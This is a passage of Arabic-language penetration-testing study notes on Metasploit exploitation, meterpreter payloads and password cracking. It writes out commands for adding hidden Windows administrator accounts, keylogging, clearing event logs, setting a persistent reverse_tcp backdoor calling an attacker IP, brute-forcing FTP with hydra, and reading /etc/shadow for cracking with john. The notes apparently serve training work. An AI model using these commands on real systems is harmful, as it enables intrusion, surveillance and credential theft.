Exploitation

ال exploitation هى عملية استغلال الثغرات، يعنى انا لو عملت vulnerability scanning واكتشفت انى عندى ثغره فى فى سيستم معين ازاى استغلها، او لو انا عملت scanning على سيستم معين بال nmap مثلا واكتشفت ان فى بورتات مفتوحه وشغال عليها service معينه بعرف ال version number بتاع ال service دى واخش ابحث عن الاصدار دا فى ال service دى هل ليها ثغره معينه ولا لا.

بستخدم فى البحث عن الثغرات لاصدار معين من service معينه موقع **Exploit-DB**، بيدينى اسم الثغره وتاريخها وازاى استغلها والكود بتاعها اللى بيكون مكتوب بلغه زى python او Ruby او غيرهم. واحيانا بكون مش محتاج انى احمل tool علشان اقدر استغل الثغره فبيقلى انها موجوده ف ال metasploitable framework ودى اللى هنتكلم عنها داوقتى.

Metasploitable

ال metasploitable هى فريم وورك موجود فيها modules كتير جزء منهم خاص بال exploitation.

اول حاجه قبل م نشغل ال meta بنشغل postgresql service علشان اسرع عملية البحث عن الموديولز بانى احددله الداتا بيز اللى يدور فيها بدل م يدور فى ملفات السيستم.

```
root@kali:~# systemctl start postgresql          //start the service
root@kali:~# systemctl enable postgresql         //enable the service
root@kali:~# msfconsole                          //to start metasploitable
```

فى عندى ال modules جوا الميتا متقسمه لأنواع يعنى مثلا فى الموديولز الخاصه بال exploitation او ال auxiliary او encoding وغيرهم، فانا بدور على الموديل اللى انا محتاجه فى قسم معين واستخدمه، يعنى لو عندى مثلا بورت snmp مفتوح وعايز ادور على module ازاى اقدر استغله:

```
msf5> search snmp          //search all modules relates to snmp
msf5> search type:auxiliary snmp          //search all modules relates to snmp in auxiliary section
msf5> use <module No.> or <module>          //selecting module to be used, selection can be performed by module No. or directory
msf5(used module)> info       //to see description of this module, how it's used and other informations
msf5(used module)> set RHOSTS <IP>                  //to determine a target IP address
msf5(used module)> exploit      // to start exploitation using the selected module
msf5(used module)> back    // to go out of module back to msf5
```

امر ال set بيستخدم علشان احط قيم للأوبشنز الخاصه بال module زى set RHOSTS كدا.

Metasploit Nmap

ال nmap موجوده كأداه جوا ال Metasploit علشان اربط بين نتايج ال scanning بتاع ال nmap وتدخل ك parameters معايا فى ال Metasploit، يعنى باختصار ال nmap بتكون هى ال databse بتاع ال Metasploit، محتاج قبل م اشغل ال nmap انى اربط الداتا بيز بتاعتها بال Metasploit وعلشان اعمل كدا لازم اكون مشغل ال postgresql service.

```
root@kali:~# msfdb init        //initializing metasploit database
msf5> db_nmap <options> <IP>        //writing nmap command in metasploit
msf5> services -p 21        //show all Nmap-DB IPs that has a running service on port 21
msf5> services         //show all Nmap-DB results about services
```

Exploitation modules

بعد ال scanning بالأدوات زى ال OpenVAS وال Nessus بقدر احدد ايه انواع الثغرات اللى ممكن استغلها علشان اعمل access على السيستم اللى بعمله scan، بعد م اعرف الثغره بروح ادور ف ال modules الخاصه بالexploitation فى ال Metasploit عن module باسم الثغره، وبعدين استخدم الموديول دا واشوف ايه الاوبشنز اللى هو طالبها اللى هى بتبقا ف الاغلب ال IP بتاع السيستم اللى هيتم اختراقه. بعد م الموديل بيتنفذ ولو نجح انه يعمل access على السيستم بكون انا بشتغل على الكونسول بتاعه كدا. طبعا بتختلف انواع الاجهزه اللى بتخترق، يعنى انا لو مخترق ويندوز لازم اتحكم بالاوامر اللى تخص الويندوز ولو مخترق لينكس لازم اتحكم باستخدام اوامر اللينكس، علشان كدا هنتعرف على بعد اوامر الويندوز دلوقتى علشان اقدر اتحكم فيه.

Windows command lines:

فى كتير من اوامر اللينكس بتكون هى نفسها اوامر بتشتغل ع الويندوز، بس بيكون فيه بعد الاختلاف فى اوامر ودى اللى هنشوفها دلوقتى:

net user	بيعرضلى ال users accounts اللى موجودين على السيستم
host name	بيعرضلى اسم الجهاز
arp –a	بيعرفنى ايه الاجهزه اللى شابكه مع جهازى

لو انا عامل access على سيستم ويندوز وعايز اعمل عليه يوزر زياده واديله صلاحة administrator :

```
C:\windows\system32> net user /add <user name> <password>  //to add a new user to windows system
C:\windows\system32> net localgroup administrators  /add <user name>  //to give the user administrator privilege
```

علشان اتحكم ف الجهاز بطريقه اكتر ممكن اشغل ال Remote Desktop عليه من خلال ال terminals، ادور على جوجل على امر يشغلى ال remote desktop على الويندوز من خلال التيرمينال وبعدين اشغله عندى على الكالى (rdesktop –u <user name>) واشبك الاتنين ببعض.

Payloads:

ال payloads هى تولز مهمه جدا ف ال Metasploit لانها بتسمحلى بشكل كبير جدا انى اقدر اتحكم ف الجهاز اللى اخترقته من شغل كتير بقا زى انى افتح الويب كام عنده او افتح المايك اعمل ريكورد للصوت او انقل ملفات من عنده، باختصار بيسهل عليا اتحكم ف جهاز التارجيت.

من اشهر البايلودز الموجوده ف ال Metasploit هو بايلود meterpreter بيستخدم مع اكتر من operating system وبيدى اوبشنز كتبر جدا تخلينى اقدر اتحكم ف التارجيت.

بعد م احدد ال module اللى هعمل بيه exploit بحطله ال payload اللى هستخدمه وساعتها لو ظهرت الاوبشنز بتاع الموديول هيظهرلى الاوبشنز الخاصه بال payload برضو.

```
msf5 exploit(<used module>) > search type: payload platform: windows meterpreter  // searching for payload to be used
msf5 exploit(<used module>) > set payload <payload dir> or <payload No.>  // selecting the wanted payload from search list
msf5 exploit(<used module>) > show options   // payload options will appear below module option
msf5 exploit(<used module>) > run  //start exploitation
meterpreter > help  //now you are controlling target system through the meterpreter payload, help to show u how to use payload
```

بالنسبه لل payloads فبيكون عندى انواع منهم، فى reverse وفى bind طيب ايه الفرق ؟ وعندى stage وunstage ايه الفرق؟

- bind : بيكون انا اللى بادئ ال session مع التارجيت فلو انا مخترق اكتر من تارجيت فمحتاج فكل مره اكون عارف ال IP بتاعهم لانه بيتغير باستمرار.
- reverse : بخلى التارجيت هو اللى يبدأ ال session معايا وكأنه هو اللى مخترقنى فبالتالى اقدر اخلى انا ال IP بتاعى ثابت ومهما ال IP بتاع التارجيت اتغير فمش هتفرق لان هو اللى بيتصل عليا وانا بكون اصلا ثابت.
- Stage : بينقلى جزء من البايلود بحيث يعمل كونيكشن بس مع الجهاز وبعدين بقدر اتحكم وبستخدمه علشان لو فى antivirus بيمنع بعض الاكواد اللى موجوده فى البايلود او علشان ال buffer size اللى هو بيسمح بنقل حجم صغير من البيانات فببعتله الجزء الخاص بالكونيكشن.
- Unstage : بيبعتلى البايلود مره واحده وبستخدمه لو مفيش حاجه من الشرطين اللى فوق دول.

عندى جوا ال options بتاع ال payload حاجه اسمها LHOST و LPORT، (L اختصار ل local). دول بيكونوا ال IP والبورت بتاعى اللى التارجيت هيستخدمهم فانه يشبك عليهم.

بعض الملحوظات لما اكون بستخدم ال payload :

- لما اكون بعمل download لملف من ويندوز سيستم بكتب download واحط ال directory بتاع الملف، لكن ف الويندوز بيكون ف اسم المسار back slash دى \ ودى ف البرمجه يعنى اعملى scape للحرف اللى بعدى فعلشان كدا لازم اعدل على اسم المسار واحط \\ بدل واحده بس .
- لما بشبك على السيستم بال payload فهو بيشبك على service معينه جوا الجهاز فبالتالى بيقدر يتحكم في الحاجات اللى ال service دى بتتحكم فيها، فلما اجى اجرب اعمل اى حاجه تخص ال GUI بتاع الويندوز زى مثلا اوامر ال keylogers دى اللى بيتحكم فيها explorer.exe فلازم اشبك عليها علشان اقدر اعمل keylogging
- علشان اغير ال service اللى انا شابك عليها بستخدم امر **migrate** (Ex: meterpreter > migrate <PID>)، ال PID هو رقم ال service اللى عايز اشبك عليها، لما بستخدم امر (ps) يعرضلى ال services اللى شغاله عندى وبيكون جنبها رقمها ورقم البورت بتاعها.
- فى ف الويندوز حاجه اسمها ال event viewer دا عباره عن app موجود ف الويندوز بيسجل العمليات اللى بتتم ع الجهاز، علشان العمليات اللى الهاكر يعملها متتسجلش لازم يعمل disable ليه (اعرف الامر من على جوجل)، او جوا البايلود فى امر يمسح ال log اللى اتسجلت.

لو انا فاتح session مع اكتر من جهاز وعايز احول من session لواحده تانيه:

```
meterpreter > background  //take a back step to used module without exiting the payload
msf5 exploit(<used module>) > sessions    //to show available sessions
msf5 exploit(<used module>) > sessions  <session No.>  //to connect other session by its number
```

لو انا مخترق جهاز بس هو عمل update للسيستم عنده والثغره اتقفلت ازاى اقدر ادخل على السيستم بعد حتى ال update ؟

انا ساعة استغلال الثغره بسيب لنفسى backdoor بحيث اقدر اشبك ف اى وقت عن طريق انى بعمل generate لبايلود خاص بيا واخلى جهاز التارجيت هو اللى يكون بيحاول يتصل بيا، فانا بسيبله payload واديله ال IP بتاعى والبورت اللى يقعد يحاول يتصل عليهم، وساعة م انا اشغل البورت دا عندى واتصل عليه هيبدأللى session مع التارجيت لان هو اللى بيحاول يتصل بيا اصلا. عن طريق تول جوا ال meterpreter اسمها persistence بقدر انى اعمل بايلود على جهاز التارجيت واديله ال IP وال port اللى يحاول يتصل عليهم (اللى هم بتوع الاتاكر). بعدين بستخدم تول جوا ال Metasploit اسمها multi/handler واحدد البايلود اللى هستخدمه واتصل ع البورت اللى كنت سايبه للتارجيت بيحاول يتصل عليا بيهم.

```
meterpreter > run persistence -h    //see help options about the tool
meterpreter > run persistence windows/meterpreter/reverse_tcp  -X -r 192.168.1.5 -p 55555    //defining parameters
// بقله يستخدملى البايلود اللى هو اسمه دا وبحددله بعض الاوبشنز وبديله ال IP وال Port اللى يحاول يعمل اتصال معاهم اللى هم بتوعى انا.
msf5 > use exploit/multi/handler    // starting multi/handler tool
msf5 exploit(multi/handler) > set payload  windows/meterpreter/reverse_tcp   //setting the payload which is the same on target sys
msf5 exploit(multi/handler) > show options
msf5 exploit(multi/handler) > set LHOST 192.168.1.5    // defining my IP
msf5 exploit(multi/handler) > set LPORT 55555            // defining my port
msf5 exploit(multi/handler) > run
```

Password Cracking:

هى عملية لفك الباسورد بطرق كتير زى ان يكون عندى password list فيها كلمات كتير جدا وانا اعمل عليهم brute force علشان احاول اجيب الباسورد للسيستم، ودا اللى بيكون اسمه ال **online cracking**. او عن طريق انى احصل على الملف اللى بيحتوى على الباسوردس بتاع السيستم واعمله cracking لانه بيكون مشفر زى ال hash dumb فى الويندوز ودا اللى بيكون اسمه **offline cracking**.

فى عندى ف الكالى حاجه اسمها wordlists (cd /usr/share/wordlists) دى بتكون عباره عن ملفات فيها كلمات شائعه من الحاجات اللى الناس بتستخدمها كباسورد بتكون مجمعه من مصادر مختلفه سواء تسريبات حصلت على موقع او غيره. فى ملف على الكالى ف المسار ال wordlists اسمه rockyou بيحتوى على ما يقرب من 12 مليون كلمه وبيتم تحديثه مع الزمن. فى تولز ممكن استخدمها علشان انشأ باسورد ليست خاصه بيا فى حدود احرف معينه واخليه يعملى بينهم combinations زى عندنا تول اسمها **crunch**.

crunch:

هى عباره عن تول بديها اوبشنز زى عايز طول الباسورد يكون ايه وبيتكون من احرف ايه وهو بيعملى **generate** لكل الاحتمالات اللى ممكن تتكون من مجموعة الحروف دى. فى ملف معمول اسمه **charset.lst** فيه اختصارات لبعض الاحرف اللى ممكن يتعمل منها كومباينيشين علشان اسهل على نفسى بدل ما اقعد اكتب كل الحروف اللى فى الكومند ممكن اكتب اختصارها وخلاص.

```
root@kali:~# crunch 4 6 12345abcdef -o /root/Desktop/pass.txt        //generating a password list with minimum 4 litters and maximum 6 litters combined of specified numbers and characters (12345abcdef) and saving the list to the specified path
root@kali:~# cat /usr/share/crunch/charset.lst    //show all possible combinations abbreviations
root@kali:~# crunch 4 6 -f /usr/share/crunch/charset.lst lalpha -o /root/Desktop/pass.txt    // generating a password list with minimum 4 litters and maximum 6 litters combined of specified lalpha combination from charset file
```

من مميزات ال **crunch** انى اقدر اديلها **pattern** معين للباسورد يمشى عليه، يعنى انا مثلا متوقع ان الباسورد يكون فى اول حرف **uppercase** وبعد كدا شوية ارقام والحرف الرابع يكون **special character** والخامس يكون مثلا **lowercase** وهكذا، فبكتب ال **pattern** بتاعى دا اللى اخليه يمشى عليه. كل نوع حرف من اللى فوق دول بيكون ليه علامة بتعبر عن نوعه بحطها فمكانه فى الباسورد **pattern**. فى ال **man** بتاع ال **crunch** اعرف كل علامه بتعبر عن نوع احرف ايه ودى بتكون فى اوبشن **t-**

يعنى لو انا عايز اعمل باسورد ليست يكون الباس فيه اول حرف كابتل والتانى رقم والتالت حرف معين والرابع علامه والخامس حرف سمول:

```
root@kali:~# crunch 4 6 -t ,%a^@ -o /root/Desktop/pass.txt        //generating a password list with minimum 4 litters and maximum 6 litters combined of specified pattern
```

بعد م عملت الباسورد ليست الخاصه بيا فانا محتاج استخدمها على السيستم او ايا كان الحاجه اللى هخترقها، فعلشان اجرب الباسوردس دى محتاج اعمل على السيستم **brute force**. علشان اعمل كدا فى عندى **tool** اسمها **hydra** بستخدمها فانى اعمل **brute force** على السيستم باستخدام الليست بتاعتى.

Hydra:

هى تول بستخدمها فانى اعمل **brute force** على السيستم اللى محتاج اخترقه، هى عبارع عن كومند تووول او فى منها **GUI** بفتحه بانى بكتب ف التيرمينال **xhydra**. فى اوبشنز كتير فى الهايدرا علشان اقدر اتحكم ازاى اعمل **brute force** بانى بحددله السيرفيس او البورت اللى هعمل من خلاله عملية ال **attack** وبحددله اذا كنت هستخدم باسورد معين ويوزر معين او لو عندى **pass list** و **user list** وبديله ال **IP** وغيرها اوبشنز موجوده فى الهيلب(**hydra -h**).

```
root@kali:~# hydra -l msfadmin -p /root/Desktop/pass.txt -s 21 192.168.1.10 ftp  // do a brute force attack using the msfadmin as a user name and the given text file as a password list.  For IP of 192.168.1.10 on port 21 accessing by ftp service
```

بتختلف سرعة ال **brute force** باختلاف ال **protocol** المستخدم فى العمليه يعنى **protocol** زى **rdp** بيكون بطيئ جدا بعكس **smb** بيكون اسرع كتير جدا، فى تول تانيه اسمها **ncrack** دى من تطوير نفس شركة ال **nmap** وبتكون اسرع فبعض البروتوكولات من ال **hydra**، موجوده على الكالى واستخدامها مشابه للهايدرا بس باختلاف بعض الشئ فى الاوبشنز، شوف الهيلب بتاعتها ونفذ بيها (**ncrack -h**).

فى جوا كل **system** ملف خاص بحفظ ال **users** المستخدمين للجهاز والباسوردس بتاعتهم، بس بتكون الباسوردس دى مشفره بطريقه معينه. والطريق دى مختلفه وبتتقسم لانواع كتير، فانا لو مخترق جهاز وعايز اعرف باقى ال **users** اللى عليه بجيب الملف دا واحاول اعرف ايه نوع التشفير المستخدم علشان اقدر احدد ازاى هعمله **cracking**. عندى فى الكالى تووول اسمها **hash-identifier** دى بدخل عليها وبيطلب منى ادخله الباسورد المشفر وهو بيحاول يحددلى نوع التشفير(**root@kali:~# hash-identifier**) . بعد كدا بحاول افك التشفير باستخدام تولز وبيختلف فك التشفير على حسب السيستم.

Windows

فى الويندوز بيكون ملف اليوزرز متخزن ف المسار (**C:\Windows\System32\config**) فى ملف اسمه **SAM**، لكن الويندوز بيكون عامل **lock** على الملف دا مش مسموح انك تعمل عليه **access** لكن باستخدام تووللز زى **pwDumb7** اقدر اعمل **access** على الملف وبتوول زى **ophcrack** اقدر افك تشفير الباسورد. ولأن معظم الاستخدامات بتكون على **GUI** فمش هعرف اشرحها هنا كويس فممكن تشوف من جوجل او شوف استخدام من **هنا**

Linux

فى اللينكس بيكون عندى ملف اسمه **passwd** فى مسار **etc** (**/etc/passwd**) وملف اسمه **shadow** فى نفس المسار برضو، بفتح الاتنين واعمل كوبى للمحتوى بتاعهم واحفظ محتوى كل ملف فى ملف **text** منفصل وباستخدام اداة **unshadow** بجمعهم فى ملف واحد علشان اقدر ادخلهم على الاداه اللى هتعملى **cracking** اللى هى اسمها **john**. ممكن استخدم الاداه دى مع ملف الويندز برضو.

```
root@kali:~# cat /etc/passwd
root@kali:~# cat /etc/shadow
```

بعد عمل ملفين text منفصلين بمحتويات ملف ال passwd وال shadow

```
root@kali:~# unshadow passwd shadow > meta_users
root@kali:~# john meta_users  //will start cracking
```